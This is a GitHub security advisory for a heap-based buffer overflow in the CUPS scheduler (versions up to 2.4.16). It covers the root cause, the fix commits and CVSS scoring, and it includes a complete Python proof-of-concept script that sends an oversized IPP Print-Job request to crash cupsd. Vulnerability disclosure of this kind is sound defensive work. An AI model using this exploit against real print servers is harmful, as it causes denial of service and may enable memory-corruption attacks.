Skip to content

Heap overflow in `get_options()`

Moderate
michaelrsweet published GHSA-6qxf-7jx6-86fh Mar 31, 2026

Package

cups

Affected versions

<= 2.4.16

Patched versions

2.4.17

Description

Summary

There is a heap-based buffer overflow in the CUPS scheduler when building filter option strings from job attributes.

Details

Note file references are accurate for the latest release version v2.4.16, this bug is also present on main at time of writing.

The size calculation for the options string uses ipp_length which excludes URI attributes, but serialization still writes selected URI attributes (job-uuid, job-authorization-uri).
This allows an attacker who can submit IPP jobs to trigger memory corruption in cupsd by creating malicious large job-uuid or job-authorization-uri attributes.

The root cause in get_options/ipp_length:

  1. In get_options the allocation size for the constructed option string comes from ipp_length(job->attrs) at scheduler/job.c:3912.
  2. ipp_length unconditionally skips URI attributes at scheduler/job.c:4191 and scheduler/job.c:4193.
  3. get_options still permits URI attributes job-uuid and job-authorization-uri (filter exception) at scheduler/job.c:3977 and scheduler/job.c:3995.
  4. URI values are then serialized in the IPP_TAG_URI case with direct writes (*optptr++ = ...) at scheduler/job.c:4118 and scheduler/job.c:4123, without a bounds check, resulting in a potential out of bounds write if the calculated length in ipp_length was insufficient.

PoC

Following python script constructs a IPP request that triggers this overflow and sends it to a cups server, causing a segfault.

#!/usr/bin/env python3
import argparse
import http.client
import random
import socket
import struct


IPP_VERSION_MAJOR = 2
IPP_VERSION_MINOR = 0
IPP_OP_PRINT_JOB = 0x0002

IPP_TAG_OPERATION = 0x01
IPP_TAG_JOB = 0x02
IPP_TAG_END = 0x03

IPP_TAG_URI = 0x45
IPP_TAG_NAME = 0x42
IPP_TAG_CHARSET = 0x47
IPP_TAG_LANGUAGE = 0x48
IPP_TAG_MIMETYPE = 0x49


def add_attr(buf: bytearray, value_tag: int, name: str, value: str) -> None:
    name_bytes = name.encode("utf-8")
    value_bytes = value.encode("utf-8")
    if len(name_bytes) > 0xFFFF or len(value_bytes) > 0xFFFF:
        raise ValueError(f"attribute too large: {name}")

    buf.append(value_tag)
    buf.extend(struct.pack(">H", len(name_bytes)))
    buf.extend(name_bytes)
    buf.extend(struct.pack(">H", len(value_bytes)))
    buf.extend(value_bytes)


def make_uri(prefix: str, target_len: int) -> str:
    if target_len <= len(prefix):
        return prefix + "A"
    return prefix + ("A" * (target_len - len(prefix)))


def build_ipp_request(host: str, port: int, printer: str, uuid_len: int, auth_len: int, request_id: int) -> bytes:
    printer_uri = f"ipp://{host}:{port}/printers/{printer}"
    job_uuid = make_uri("ipp://u/", uuid_len)
    job_auth_uri = make_uri("ipp://a/", auth_len)

    msg = bytearray()
    msg.extend(struct.pack(">BBHI", IPP_VERSION_MAJOR, IPP_VERSION_MINOR, IPP_OP_PRINT_JOB, request_id))

    msg.append(IPP_TAG_OPERATION)
    add_attr(msg, IPP_TAG_CHARSET, "attributes-charset", "utf-8")
    add_attr(msg, IPP_TAG_LANGUAGE, "attributes-natural-language", "en")
    add_attr(msg, IPP_TAG_URI, "printer-uri", printer_uri)
    add_attr(msg, IPP_TAG_NAME, "requesting-user-name", "attacker")
    add_attr(msg, IPP_TAG_MIMETYPE, "document-format", "application/postscript")

    msg.append(IPP_TAG_JOB)
    add_attr(msg, IPP_TAG_URI, "job-uuid", job_uuid)
    add_attr(msg, IPP_TAG_URI, "job-authorization-uri", job_auth_uri)

    msg.append(IPP_TAG_END)

    document = b"%!PS-Adobe-3.0\n%%Pages: 1\n%%EOF\n"
    return bytes(msg) + document


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="Send crafted IPP Print-Job request to trigger URI undercount overflow path.")
    parser.add_argument("--host", default="127.0.0.1", help="CUPS host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=8631, help="CUPS port (default: 8631)")
    parser.add_argument("--printer", default="Test1", help="Printer name (default: Test1)")
    parser.add_argument("--uuid-len", type=int, default=12000, help="Length of job-uuid URI value (default: 12000)")
    parser.add_argument("--auth-len", type=int, default=12000, help="Length of job-authorization-uri URI value (default: 12000)")
    parser.add_argument("--request-id", type=int, default=None, help="IPP request-id (default: random)")
    parser.add_argument("--timeout", type=float, default=5.0, help="HTTP timeout in seconds (default: 5.0)")
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    request_id = args.request_id if args.request_id is not None else random.randint(1, 2**31 - 1)

    payload = build_ipp_request(args.host, args.port, args.printer, args.uuid_len, args.auth_len, request_id)
    resource = f"/printers/{args.printer}"
    headers = {
        "Content-Type": "application/ipp",
        "Content-Length": str(len(payload)),
        "Connection": "close",
    }

    print(f"[*] Sending crafted Print-Job to ipp://{args.host}:{args.port}{resource}")
    print(f"[*] job-uuid length={args.uuid_len}, job-authorization-uri length={args.auth_len}, payload={len(payload)} bytes")

    try:
        conn = http.client.HTTPConnection(args.host, args.port, timeout=args.timeout)
        conn.request("POST", resource, body=payload, headers=headers)
        resp = conn.getresponse()
        body = resp.read()
        print(f"[*] HTTP status: {resp.status} {resp.reason}, response bytes: {len(body)}")
        conn.close()
        return 0
    except (ConnectionError, socket.error, OSError) as exc:
        print(f"[!] Connection failed (expected if cupsd crashed): {exc}")
        return 0


if __name__ == "__main__":
    main()

Impact

Heap-based buffer overflow in cupsd triggerable by any attacker that can submit print jobs.
Crash/DoS is straightforward; memory corruption may be exploitable for code execution.

Attribution

If/when publicly disclosed, please credit the report to Xint Code

EDIT:
Fixes:
master 169d216 Expand allocation of options string.

2.4.x 0ff8897 Expand allocation of options string.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-34979

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Credits